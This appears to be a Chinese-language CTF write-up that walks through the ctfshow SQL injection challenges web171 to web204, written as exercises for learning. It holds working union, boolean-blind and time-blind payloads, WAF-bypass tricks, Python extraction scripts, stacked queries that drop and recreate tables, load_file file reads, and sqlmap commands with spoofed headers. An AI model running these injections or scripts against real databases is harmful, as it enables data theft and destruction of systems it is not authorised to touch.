未过滤注入 web171 可以用正常的联合注入,也可以用万能密码
1 2 1 ' or '1 '='1 '--+1' || 1--+
联合注入
1 2 3 4 5 6 1 ' order by 4--+ -1' union select 1 ,2 ,3 -1 ' union select 1,2,database()--+ -1' union select 1 ,2 ,(select group_concat(table_name )from information_schema.tables where table_schema=database ())-1 ' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name=' ctfshow_user')--+ -1' union select 1 ,2 ,(select password from ctfshow_user where username = 'flag' )
查询语句这里不会对我们的联合注入造成影响,只是正常的查询不会返回带flag的数据
web172 多了个返回逻辑
1 2 3 4 if ($row ->username!=='flag' ){ $ret ['msg' ]='查询成功' ; }
万能密码用不了,这里的话会对username为flag的数据进行过滤,正常打联合注入
1 2 3 4 -1 ' union select 1,2--+ -1' union select 1 ,(select group_concat(table_name )from information_schema.tables where table_schema=database ())-1 ' union select 1,(select group_concat(column_name)from information_schema.columns where table_name=' ctfshow_user2')--+ -1' union select 1 ,(select password from ctfshow_user2 where username = 'flag' )
这样可以打,不过如果是这样的话就不行了
1 -1' union select 1 ,(select username,password from ctfshow_user2 where username = 'flag' )--+
因为查询的结果中有username为flag,上面的话是我们只是返回username为flag的password值,并不会碰到过滤,所以我们上面的语句才能查询到flag
web173 正常打联合注入
1 2 3 4 5 -1 ' union select 1 ,2 ,3 --+-1 ' union select 1 ,2 ,database()--+-1 ' union select 1 ,2 ,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+-1 ' union select 1 ,2 ,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user3')--+-1 ' union select 1 ,2 ,(select password from ctfshow_user3 where username='flag')--+
这里的话刚好flag是ctfshow开头的,所以不会被过滤掉,如果我们的flag是flag开头的话需要绕过,例如username是flag,我们可以用编码函数去绕过(使用hex或者使用reverse、to_base64等函数加密)
1 -1' union select id,hex(username),password from ctfshow_user3 where username='flag' --+
web174 增加过滤了数字,打盲注就行
看看正确回显和错误回显
拿脚本跑吧,这次用二分法去跑,刚好学一下写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsurl = "http://49bd2539-814b-433b-ac46-2cee1327b9df.challenge.ctf.show/api/v4.php" result = '' i = 0 while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) //2 payload = f"1' and if(ascii(substr((select password from ctfshow_user4 where username='flag'),{i} ,1))>{mid} ,1,0)--+" print (payload) r = requests.get(url+"?id=" +payload) if "admin" in r.text: head = mid + 1 else : tail = mid if head != 32 : result += chr (head) else : break print (result)
web175 这下是完全没内容了,到打时间盲注了
成功延迟
那就打时间盲注吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport timeurl = "http://7a2710eb-ee46-496f-bf62-839bb89fdee0.challenge.ctf.show/api/v5.php" result = "" i = 0 while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 payload = f"?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{i} ,1))>{mid} ,sleep(4),0)--+" print (payload) start_time = time.time() r = requests.get(url+payload) request_time = time.time()-start_time if request_time > 4 : print (f"成功延迟,ascii>{mid} " ) head = mid + 1 else : print (f"未延迟,ascii<={mid} " ) tail = mid if head != 32 : result += chr (head) else : break print (result) print (result)
过滤注入 web176 万能密码可以做
fuzz一下发现过滤了select
在mysql中对大小写是不敏感的,只要waf没有对大小写限制就可以用大写去绕过
1 2 3 4 -1 ' union Select 1,2,3--+ -1' union Select 1 ,2 ,(Select group_concat(table_name )from information_schema.tables where table_schema=database ())-1 ' union Select 1,2,(Select group_concat(column_name)from information_schema.columns where table_name=' ctfshow_user')--+ -1' union Select 1 ,2 ,password from ctfshow_user where username='flag'
web177 fuzz一下,过滤了空格和注释符--+
web178 这次过滤了*,换编码去绕过就行
%09绕过空格
web179 %09被过滤了,%0c绕过空格
web180 刚好看到一个fuzz单个字符的脚本,尝试着写一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsimport reurl="http://5855f9fc-5b45-4d37-9ec0-4785fc6143c3.challenge.ctf.show/api" target = re.compile ("admin" ) right_chr = [] waf_chr = [] for i in range (32 ,127 ): char = chr (i) payload = f"?id=1'and'{char} '='{char} " r = requests.get(url+payload) w = target.search(r.text) if w is not None : right_chr.append((i,char)) else : waf_chr.append((i,char)) print ("未被过滤的字符: " ,right_chr)print ("\n" )print ("waf: " ,waf_chr)
fuzz的结果
1 2 3 未被过滤的字符: [(33, '!' ), (34, '"' ), (36, '$' ), (37, '%' ), (40, '(' ), (41, ')' ), (44, ',' ), (45, '-' ), (46, '.' ), (47, '/' ), (48, '0' ), (49, '1' ), (50, '2' ), (51, '3' ), (52, '4' ), (53, '5' ), (54, '6' ), (55, '7' ), (56, '8' ), (57, '9' ), (58, ':' ), (59, ';' ), (60, '<' ), (61, '=' ), (62, '>' ), (63, '?' ), (64, '@' ), (65, 'A' ), (66, 'B' ), (67, 'C' ), (68, 'D' ), (69, 'E' ), (70, 'F' ), (71, 'G' ), (72, 'H' ), (73, 'I' ), (74, 'J' ), (75, 'K' ), (76, 'L' ), (77, 'M' ), (78, 'N' ), (79, 'O' ), (80, 'P' ), (81, 'Q' ), (82, 'R' ), (83, 'S' ), (84, 'T' ), (85, 'U' ), (86, 'V' ), (87, 'W' ), (88, 'X' ), (89, 'Y' ), (90, 'Z' ), (91, '[' ), (93, ']' ), (94, '^' ), (95, '_' ), (96, '`' ), (97, 'a' ), (98, 'b' ), (99, 'c' ), (100, 'd' ), (101, 'e' ), (102, 'f' ), (103, 'g' ), (104, 'h' ), (105, 'i' ), (106, 'j' ), (107, 'k' ), (108, 'l' ), (109, 'm' ), (110, 'n' ), (111, 'o' ), (112, 'p' ), (113, 'q' ), (114, 'r' ), (115, 's' ), (116, 't' ), (117, 'u' ), (118, 'v' ), (119, 'w' ), (120, 'x' ), (121, 'y' ), (122, 'z' ), (123, '{' ), (124, '|' ), (125, '}' ), (126, '~' )] waf : [(32, ' ' ), (35, '#' ), (38, '&' ), (39, "'" ), (42, '*' ), (43, '+' ), (92, '\\' )]
这里的话还是过滤了空格的,并且也过滤了注释符号%23,试着去闭合单引号就行
1 2 3 4 5 -1 '%0 cunion%0 cselect%0 c '1 ', '2 ', '3 -1 '%0 cunion%0 cselect%0 c '1 ', database(), '3 -1 '%0 cunion%0 cselect%0 c '1 ', (select %0 cgroup_concat(table_name)from%0 cinformation_schema.tables%0 cwhere%0 ctable_schema= database()), '3 -1 '%0 cunion%0 cselect%0 c '1 ', (select %0 cgroup_concat(column_name)from%0 cinformation_schema.columns%0 cwhere%0 ctable_name= 'ctfshow_user'), '3 -1 '%0 cunion%0 cselect%0 c '1 ', (select %0 cpassword%0 cfrom%0 cctfshow_user%0 cwhere%0 cusername= 'flag'), '3
这道题一开始还用limit语句限制了返回的内容,后面把1换成-1才看到回显
web181 #运算符优先级
这次waf给出来了
1 2 3 4 //对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\* |\x09 |\x0a |\x0b |\x0c |\x00 |\x0d |\xa0 |\x23 |\# |file |into |select/i', $str); }
完全过滤了空格的绕过方法和select关键字,然后可以用万能密码的一个变式去做
这里比较复杂,稍微写的详细一点,这个payload是为什么呢?
我们插入到查询语句中
1 $sql = "select id,username,password from ctfshow_user where username !='flag' and id = '-1'||username='flag' limit 1;";
然后我们看一下mysql运算符的优先级
在查询语句中,因为AND的优先级高于OR,所以WHERE的表达式可以拆分为
1 (username != 'flag' AND id = '-1' ) || (username = 'flag' )
username != 'flag' AND id = '-1' 会被优先计算,然后与 username = 'flag' 进行 OR 运算。
如果 username = 'flag' 为真,则整个条件为真,无论 username != 'flag' AND id = -1 是否为真。
因此,如果表中存在 username='flag' 的数据,这条查询一定会返回该数据。
web182 这次多过滤了个flag,不过可以用like模糊匹配绕过
1 -1 '||(username)like' fla_`或者是` -1 '||(username)like' fla
关于like中的通配符
%
匹配零个或多个任意字符
'a%' 匹配所有以a开头的字符串
_
匹配单个任意字符
'a_' 匹配所有以a开头的两个字符长度的字符串
这里的话在学习MySQL的时候也学到过
web183 查询语句
1 2 $sql = "select count(pass) from " .$_POST ['tableName' ].";" ;
返回逻辑
1 2 3 4 function waf ($str ) { return preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i' , $str ); }
增加过滤了=,or,and等字符
这里的话出现了一个查询结果
1 2 // 返回用户表的记录总数 $user_count = 0 ;
可以用like模糊匹配去做
1 $sql = "select count(pass) from (ctfshow_user)where(pass)like'ctfshow{%';" ;
返回$user_count = 1;
如果没匹配上的话就返回0,这样就可以写脚本去盲注了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsurl = "http://5d62f6db-f813-4b1e-a2be-b100259ff40d.challenge.ctf.show/select-waf.php" string = "1234567890abcdefghijklmnopqrstuvwxyz-}" flag = "ctfshow{" for i in range (100 ): for j in string: payload = f"(ctfshow_user)where(pass)like'{flag+j} %'" data = { "tableName" : payload } r = requests.post(url, data=data) if "$user_count = 1;" in r.text: flag +=j print (flag) break if j == "}" : exit()
web184 1 2 3 4 function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); }
这道题把时间盲注的两个常用函数禁用了,我还想着上一题是不是可以用时间盲注去打来着但是没打出来
这里还禁用了where语句和一些逻辑运算符例如&&和||,上面的方法不能用了,可以打左右连接
ctfshow_user表一共有22行数据
写个payload
1 tableName=ctfshow_user as a left join ctfshow_user as b on a.pass regexp(CONCAT(char (99 ),char (116 ),char (42 )))
这里的话将ctfshow_user表设为两个表,并通过on后面的条件连接起来,此时满足on连接条件的话会返回,为什么呢?
我们先在本地测试一下
可以看到当on的条件不一样的时候返回的结果也不一样
a.username = "man"
左表
左表(a)的 username 必须等于 "man",才会尝试匹配右表(b)的所有行。
b.username = "man"
右表
右表(b)的 username 必须等于 "man",才会被左表(a)的行匹配。
所以回到刚刚的payload
1 tableName=ctfshow_user as a left join ctfshow_user as b on a.pass regexp(CONCAT(char (99 ),char (116 ),char (42 )))
这里的话会用a表中符合regexp的pass行去匹配b表,a表所有的数据去掉连接条件的那行就是22行,然后连接条件的那行会和右表的所有内容进行连接,所以最后的结果就是21+22=43行
那么我们用regexp去进行匹配
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsurl = "http://e09f8d14-24eb-4d77-8dff-7d150969e103.challenge.ctf.show/select-waf.php" flag = "ctfshow{" for i in range (9 ,50 ): for j in range (32 ,127 ): payload = f"ctfshow_user as a left join ctfshow_user as b on (substr(a.pass,{i} ,1)regexp(char({j} )))" data = { "tableName" : payload, } print (data) r = requests.post(url, data=data) if "$user_count = 43;" in r.text: if chr (j) != "." : flag += chr (j) print (flag) break if chr (j) == "}" : exit()
这里的话需要注意要排除小数点,因为小数点在regexp的正则里小数点能匹配除 “\n” 之外的任何单个字符
其实这道题还能用group by 结合having去打通配
where也过滤了,用having代替,引号被过滤了,那么字符串部分可以采用16进制绕过
1 select count (*) from ctfshow_user group by pass having pass like 0x63746673686f777b25 ;
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requestsurl = "http://e09f8d14-24eb-4d77-8dff-7d150969e103.challenge.ctf.show/select-waf.php" letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}" def asc2hex (s ): a1 = '' a2 = '' for i in s: a1+=hex (ord (i)) a2 = a1.replace("0x" ,"" ) return a2 flag = "ctfshow{" for i in range (0 ,100 ): for j in letter: temp_flag = flag+j data ={ "tableName" :"ctfshow_user group by pass having pass like ({})" .format ("0x" +asc2hex(temp_flag+"%" )) } r = requests.post(url=url,data=data) if "$user_count = 1;" in r.text: flag += j print (flag) break else : continue
因为这里匹配出来的结果只会有一行,所以筛选条件就是$user_count = 1
web185 1 2 3 4 function waf ($str ) { return preg_match ('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i' , $str ); }
这道题多过滤了数字,这时候怎么去构造呢?
这里的话需要用true去构造字符
true=1,false=0,然后true+true=2,用true的自增和相加可以构造字符
例如c的十六进制是0x63,十进制是90
0x63 我们可以写成 false,‘x’,true+true+true+true+true+true,true+true+true然后用concat去连接
1 concat(false ,‘x’,(true +true +true +true +true +true ),(true +true +true ))
但是这里过滤了单引号,得去构造x,还是一样的,用十六进制或者十进制去构造
x 的十进制为120,所以我们添加120个true相加就可以了,但是我们也可以把120拆分为1,2,0,然后构造true、true+true、false
所以最后c的构造就是
1 concat(false ,char(concat (true ,(true +true ),false )),(true +true +true +true +true +true ),(true +true +true )
但是发现其实跑不出来,为什么,因为c的十六进制0x63为字符串,mysql只支持十六进制的数字,不支持字符串
所以换成十进制去构造
1 concat((power((true +true +true ),(true +true ))),(power((true +true +true ),(true +true ))))
所以我们构造payload
1 tableName=ctfshow_user group by pass having pass regexp(concat (char(concat ((power((true +true +true ),(true +true ))),(power((true +true +true ),(true +true ))))),char(concat (true ,true ,(true +true +true +true +true +true ))),char(concat (true ,false ,(true +true )))))
解释后的payload
1 table Name=ctfshow_user group by pass having pass regexp(ctf)
结果返回
意味着匹配成功了,我们直接写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsurl = "http://e583b83c-af4c-444c-8de2-acd5f5af2b6d.challenge.ctf.show/select-waf.php" strlist = '{0123456789-abcdefghijklmnopqrstuvwxyz_}' flag = 'ctfshow' flagstr = '' strdict = {'0' :'false,' ,'1' :'true,' ,'2' :'(true+true),' , '3' :'(true+true+true),' ,'4' :'(true+true+true+true),' , '5' :'(true+true+true+true+true),' ,'6' :'(true+true+true+true+true+true),' , '7' :'(power((true+true),(true+true+true))-true),' , '8' :'(power((true+true),(true+true+true))),' , '9' :'(power((true+true),(true+true+true))+true),' } for i in range (100 ): for j in strlist: m = '' for x in str (ord (j)): m += strdict[x] m = 'char(concat(' +m[:-1 ]+')),' payload = f'ctfshow_user group by pass having pass regexp(concat({flagstr+m[:-1 ]} ))' data = { 'tableName' : payload, } print (payload) r = requests.post(url=url,data=data) if '$user_count = 1;' in r.text: print (f'---------------匹配成功---------------' ) flag += j flagstr += m print (flag) break if flag[-1 ] == '}' : exit()
我的脚本相对来说更复杂一点,包师傅的脚本就相对来说要简单很多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import stringimport requestsurl = 'http://50a0761d-8695-48df-bfe5-9410e5169332.challenge.ctf.show/select-waf.php' payload = 'ctfshow_user group by pass having pass like(concat({}))' target = 'ctfshow{' def createNum (n ): num = 'true' if n == 1 : return 'true' else : for i in range (n - 1 ): num += "+true" return num def createStrNum (c ): str = '' str += 'chr(' + createNum(ord (c[0 ])) + ')' for i in c[1 :]: str += ',chr(' + createNum(ord (i)) + ')' return str uuid = string.ascii_lowercase + string.digits + "-{}" for i in range (1 , 50 ): for j in uuid: poc = payload.format (createStrNum(target + j + "%" )) data = { 'tableName' : poc } r = requests.post(url, data) if "$user_count = 0;" not in r.text: target += j print (target) if j == '}' : exit() break
web186 1 2 3 4 //对传入的参数进行了过滤 function waf($str){ return preg_match('/\* |\x09 |\x0a |\x0b |\x0c |\0x0d |\xa0 |\% |\< |\> |\^ |\x00 |\# |\x23 |[0-9] |file |\= |or |\x7c |select |and |flag |into |where |\x26 |\' |\" |union |\` |sleep |benchmark/i', $str); }
多过滤了百分号,大小于号和^字符,但是不影响我们的payload
web187 #sql的md5
需要传username为admin,然后password的话会md5加密,这里的话用md5去碰撞就行
flag在响应里
web188 #sql弱比较
username=0 password=0
在官方手册中,如果在比较操作中涉及到字符串和数字,SQL 会尝试将字符串转换为数字,那么只要字符串不是以数字开头,比较时都会转为数字 0 。
sql里,数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==0a,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。
然后再来看password的判断,也是弱类型的比较,那么也直接输入0,尝试登录一个用户名和pass的开头是字母或是0的用户。
web189 flag在api/index.php文件中
去读取那个index.php文件,且注入点在username
username=0、password=0时,返回“密码错误”。(说明存在用户,但是密码错误) username=1、password=0时,返回“查询失败”。(说明用户不存在)
回显不一样的话打盲注就行
1 if (substr(load_file('/var/www/html/api/index.php' ) ,{i},1 )='{j}' ,1 ,0 )
利用0和1的不同回显去打盲注,写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsurl = "http://ca1b1a1d-3cf1-4efa-9a37-8ca521e4d226.challenge.ctf.show/api/" flag = "" for i in range (257 ,500 ): for j in range (127 ): x = chr (j) payload = f"if(substr(load_file('/var/www/html/api/index.php'),{i} ,1)='{x} ',1,0)" data = { "username" : payload, "password" : 0 } print (payload) r = requests.post(url, data=data) if "8d25" in r.text: print (f"----------{x} is right----------" ) flag += chr (j) print (flag) break if "}" in flag: print (flag) exit()
布尔盲注 web190 字符型的盲注
1 2 3 4 5 admin /0 密码错误1 /0 用户名不存在admin ' and 1 #/0 密码错误admin ' and 0 #/0 用户名不存在
直接写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsurl = "http://50b3216b-0be6-449d-9f3a-0ce96856ca85.challenge.ctf.show/api/" test = "" i = 0 while True : i = i +1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 payload = f"admin' and if(ascii(substr((select f1ag from ctfshow_fl0g),{i} ,1))>{mid} ,1,0)#" data = { "username" : payload, "password" : 0 , } print (data) r = requests.post(url, data=data) if "u8bef" in r.text: head = mid + 1 else : tail = mid if head != 32 : test += chr (head) print (test) else : break print (test)
web191 禁用了ascii,可以用ord绕过,这里数据库都没变
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requestsurl = "http://d4303d22-ec75-4911-8e63-4c300d980ac6.challenge.ctf.show/api/" i = 0 flag = "" while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 payload = f"admin' and if(ord(substr((select f1ag from ctfshow_fl0g),{i} ,1))>{mid} ,1,0)#" data = { "username" : payload, "password" : 0 , } print (data) r = requests.post(url, data=data) if "u8bef" in r.text: head = mid + 1 else : tail = mid if head != 32 : flag += chr (head) print (flag) else : break print (flag)
web192 过滤掉了,但是也可以不用转码函数去做
在 SQL 查询中,字符串比较默认是 不区分大小写 的。所以这里好像需要转小写
因为是二分法,_的ascii字符是95,很容易被跳过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsurl = "http://b3cfa897-d763-4f0e-81e8-323a934700e7.challenge.ctf.show/api/" i = 0 flag = "" while True : i = i + 1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 payload = f"admin' and if(substr((select f1ag from ctfshow_fl0g),{i} ,1)>chr({mid} ),1,0)#" data = { "username" : payload, "password" : 0 , } print (data) r = requests.post(url, data=data) if "u8bef" in r.text: head = mid + 1 else : tail = mid if head != 32 : flag += chr (head) print (flag) else : break print (flag.lower())
可以使用 BINARY 关键字强制区分大小写或者手动改一下
如果硬要识别出来就要写遍历了,但是那样子不够快
web193&194 这里过滤了substr,也是有代替函数的,当然也可以用like和通配符去匹配
like+通配符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsurl = "http://cf1fb41b-240d-4778-8ae7-c9442519fb32.challenge.ctf.show/api/" dict = "abcdefghijklmnopqrstuvwxyz0123456789-,{}_" flag = "" for i in range (1 ,50 ): sign = 0 for j in dict : payload = "admin' and (select f1ag from ctfshow_flxg) like '{}'#" .format (flag+j+'%' ) data = { "username" : payload, "password" : 0 , } print (payload) r = requests.post(url, data=data) if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text: flag += j sign = 1 print (flag) break if sign == 0 : break print (flag)
替换函数mid
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsurl = "http://cf1fb41b-240d-4778-8ae7-c9442519fb32.challenge.ctf.show/api/" dict = "abcdefghijklmnopqrstuvwxyz0123456789-,{}_" flag = "" for i in range (1 ,50 ): sign = 0 for j in dict : payload = f"admin' and if(mid(database(),{i} ,1)='{j} ',1,0)#" data = { "username" : payload, "password" : 0 , } print (payload) r = requests.post(url, data=data) if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text: flag += j sign = 1 print (flag) break if sign == 0 : break print (flag)
替换函数left
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsurl = "http://efe36a06-d5e8-4069-a729-598ea9a984e8.challenge.ctf.show/api/" dict = "abcdefghijklmnopqrstuvwxyz0123456789-,{}_" flag = "" for i in range (1 ,50 ): sign = 0 for j in dict : payload = "admin' and if(left(database(),{0})='{1}',1,0)#" .format (i,flag+j) data = { "username" : payload, "password" : 0 , } print (payload) r = requests.post(url, data=data) if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text: flag += j sign = 1 print (flag) break if sign == 0 : break print (flag)
方法还是很多的
堆叠注入 web195 还是得登录成功才有flag
直接分号执行多条语句,更新ctfshow_user用户的密码
1 0;update `ctfshow_user` set `pass` =1
web196 这里限制了username的长度,刚刚的payload肯定是超过了
这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。
非预期:
判断条件满足的设定是$row[0]==$password,row 存储的是结果集中的一行数据,row[0]就是这一行的第一个数据。既然可以堆叠注
入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。
那么可以输入username为1;select(1),password为1。执行 SELECT(1); 后,数据库会返回一个结果集,其中包含一行一列,值为 1。当row 获取到第二个查询语句 select(1) 的结果集时,即可获得row[0]=1,那么password输入1就可以满足条件判断。同样输入其他密码也可以
官方解:
1 2 username = 0 (用弱比较去匹配用户名)password = passwordAUTO(之前泄露的原始密码)
web197 过滤了select,但是没有长度限制,那我们可以对表进行一些操作
1 2 username=0;drop table ctfshow_user; create table ctfshow_user(`username` varchar(255 ),`pass` varchar(255 )); insert ctfshow_user(`username` ,`pass` ) values (1 ,2 ) password 随便填,不影响
这里直接删掉之前的表去创建新的表,然后插入数据就行
或者可以用alter
1 0 ;alter table ctfshow_user drop pass;alter table ctfshow_user add pass int default 1
web198 不能用drop,create,set的话,直接插入数据就行
1 2 username=0;insert ctfshow_user(`username` ,`pass` ) value (1 ,2 ) password 随便设置
然后传1/2去登录就行
web199&200 过滤了括号,前面的方法走不通
利用show。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。
1 2 username = 0 password = ctfshow_user
这么看来的话好像前面几个题都可以这么做
不太想做sqlmap的,先不写
练习sqlmap 好吧还是不太想写,把做的搬过来了
web201 #设置UA头和referer头
这里的话是需要我们学习sqlmap 的语法和使用
1 2 3 4 使用--user-agent 指定agent --user-agent=sqlmap 使用--referer 绕过referer检查 --referer= "ctf.show"
我们先拿第一题来具体学习一下注入过程和sqlmap的使用顺序
注入过程
1 python3 sqlmap.py -u http://8 b0e6f9f-0 bc1-499 f-b9f5-30 a3d1b6d4c2.challenge.ctf.show/api/?id=1 –user-agent sqlmap –referer https://8 b0e6f9f-0 bc1-499 f-b9f5-30 a3d1b6d4c2.challenge.ctf.show:8080 /sqlmap.php
然后我们来分析一下测试过程的一些询问和内容
我们分析里面主要的内容
1 2 3 4 5 6 7 8 [23 :23 :58 ] [INFO ] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable GET 参数 'id' 被判断为可注入,且具体注入方式为基于布尔值的盲注。[23 :23 :58 ] [INFO ] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 扩展的启发式测试表明,后端数据库管理系统(DBMS)可能是 MySQL。 it looks like the back-end DBMS is 'MySQL' . Do you want to skip test payloads specific for other DBMSes? [Y/n] y 似乎后端数据库管理系统是 MySQL。您是否希望跳过适用于其他数据库管理系统的测试有效载荷?输入 [Y/n] 表示选择是或否。选择 'y' 表示跳过。 for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1 ) and risk (1 ) values ? [Y/n] y对于剩余的测试,您是否希望包括所有针对 MySQL 的测试,并扩展预设的等级(1 )和风险(1 )值?输入 [Y/n] 表示选择是或否。选择 'y' 表示包含所有测试。
1 2 GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any )? [y/N] yGET 参数 'id' 存在漏洞。您是否希望继续测试其他参数(如果有的话)?输入 [y/N] 表示选择是或否。选择 'y' 意味着继续进行其他参数的测试。
这里的话其实就是和英语翻译是一样的,理解了每句话的意思然后做出需要的选择,就可以了
1 python3 sqlmap.py -u http://8 b0e6f9f-0 bc1-499 f-b9f5-30 a3d1b6d4c2.challenge.ctf.show/api/?id=1 –dbs –user-agent sqlmap –referer https://8 b0e6f9f-0 bc1-499 f-b9f5-30 a3d1b6d4c2.challenge.ctf.show:8080 /sqlmap.php
找到数据库名了,显然第一个就是我们需要的数据库
1 python3 sqlmap.py -u http://8 b0e6f9f-0 bc1-499 f-b9f5-30 a3d1b6d4c2.challenge.ctf.show/api/?id=1 –current-db –user-agent sqlmap –referer https://8 b0e6f9f-0 bc1-499 f-b9f5-30 a3d1b6d4c2.challenge.ctf.show:8080 /sqlmap.php
和我们想的是一样的
1 python3 sqlmap.py -u http://8 b0e6f9f-0 bc1-499 f-b9f5-30 a3d1b6d4c2.challenge.ctf.show/api/?id=1 -D ctfshow_web –tables –user-agent sqlmap –referer https://8 b0e6f9f-0 bc1-499 f-b9f5-30 a3d1b6d4c2.challenge.ctf.show:8080 /sqlmap.php
1 python3 sqlmap.py -u http://8 b0e6f9f-0 bc1-499 f-b9f5-30 a3d1b6d4c2.challenge.ctf.show/api/?id=1 -D ctfshow_web -T ctfshow_user –columns –user-agent sqlmap –referer https://8 b0e6f9f-0 bc1-499 f-b9f5-30 a3d1b6d4c2.challenge.ctf.show:8080 /sqlmap.php
1 python3 sqlmap.py -u http://8 b0e6f9f-0 bc1-499 f-b9f5-30 a3d1b6d4c2.challenge.ctf.show/api/?id=1 -D ctfshow_web -T ctfshow_user -C pass –dump –user-agent sqlmap –referer https://8 b0e6f9f-0 bc1-499 f-b9f5-30 a3d1b6d4c2.challenge.ctf.show:8080 /sqlmap.php
然后就拿到我们的flag了
sqlmap基于GET传参的注入
1.测试注入点以及是否存在注入
python3 sqlmap.py -u [url+参数]
2.爆出所有数据库
pyhton3 sqlmap.py -u [url+参数] –dbs
3.爆出当前使用的数据库
python3 sqlmap.py -u [url+参数] –current-db
4.爆出当前数据库下的表名
python3 sqlmap.py -u [url+参数] -D [数据库名] –tables
5.爆出所有表的字段名
python3 sqlmap.py -u [url+参数] -D [数据库名] -T [表名] –columns
6.爆出字段中的数据
python3 sqlmap.py -u [url+参数] -D [数据库名] -T [表名] -C [字段名] –dump
关于UA头的设置和referer的设置
–user-agent sqlmap
User-Agent 头通常由浏览器或其他客户端软件发送,用于标识请求的来源设备和软件,通过设置 --user-agent,可以模拟特定的浏览器或客户端类型,某些网站可能会阻止来自已知爬虫或自动化工具(如 sqlmap)的请求。通过伪造 User-Agent,可以绕过这些安全检查
–referer https://8b0e6f9f-0bc1-499f-b9f5-30a3d1b6d4c2.challenge.ctf.show:8080/sqlmap.php
伪造 Referer 头可以用于模拟来自特定页面或来源的请求,一些网站可能会检查 Referer 头,以确保请求来源于允许的页面。如果没有合适的 Referer,网站可能会拒绝请求或返回不同的内容。伪造 Referer 头可以帮助绕过这些安全机制。通过设置特定的 Referer 头,攻击者可以让目标网站认为请求是来自合法用户的正常操作。这有助于隐藏攻击行为。
1 2 bash --user -agent sqlmap --referer ctf.show 这样也是可以的,只要来源是ctf.show 就可以了
web202 #–data参数
POST注入的方式
sqlmap.py -r 请求包text文件 -p 指定的参数 –tables sqlmap.py -u url –forms 自动判断注入 sqlmap.py -u url –data=”指定参数”
–data=DATA 通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。
直接给payload了
1 2 plaintext python3 sqlmap.py -u http://fd2e4296-abd1-4a84-b9c1-c24262dea2a6.challenge.ctf.show/api/ --data= "id=1" --user-agent sqlmap --referer ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump
web203 #–method参数
–method=”xxx” 强制使用给定的HTTP方法(例如:PUT)
使用–method=”PUT”时,需要加上 –headers=”Content-Type: text/plain” 否则是按表单提交的,put接收不到
payload
1 2 plaintext python3 sqlmap.py -u http://86ffe7af-f118-4848-8a4c-09b410298b56.challenge.ctf.show :8080 /api/index.php --method= "put" --user-agent sqlmap --referer ctf.show --headers= "Content-Type: text/plain" --data= "id=1" -D ctfshow_web -T ctfshow_user -C pass --dump
web204 #–cookie参数
设置cookie可以通过后台对cookie的验证
sqlmap.php文件中响应标头中的set-cookie和请求标头中的PHPSESSID都需要客户端在下一次请求时发送给服务端
payload
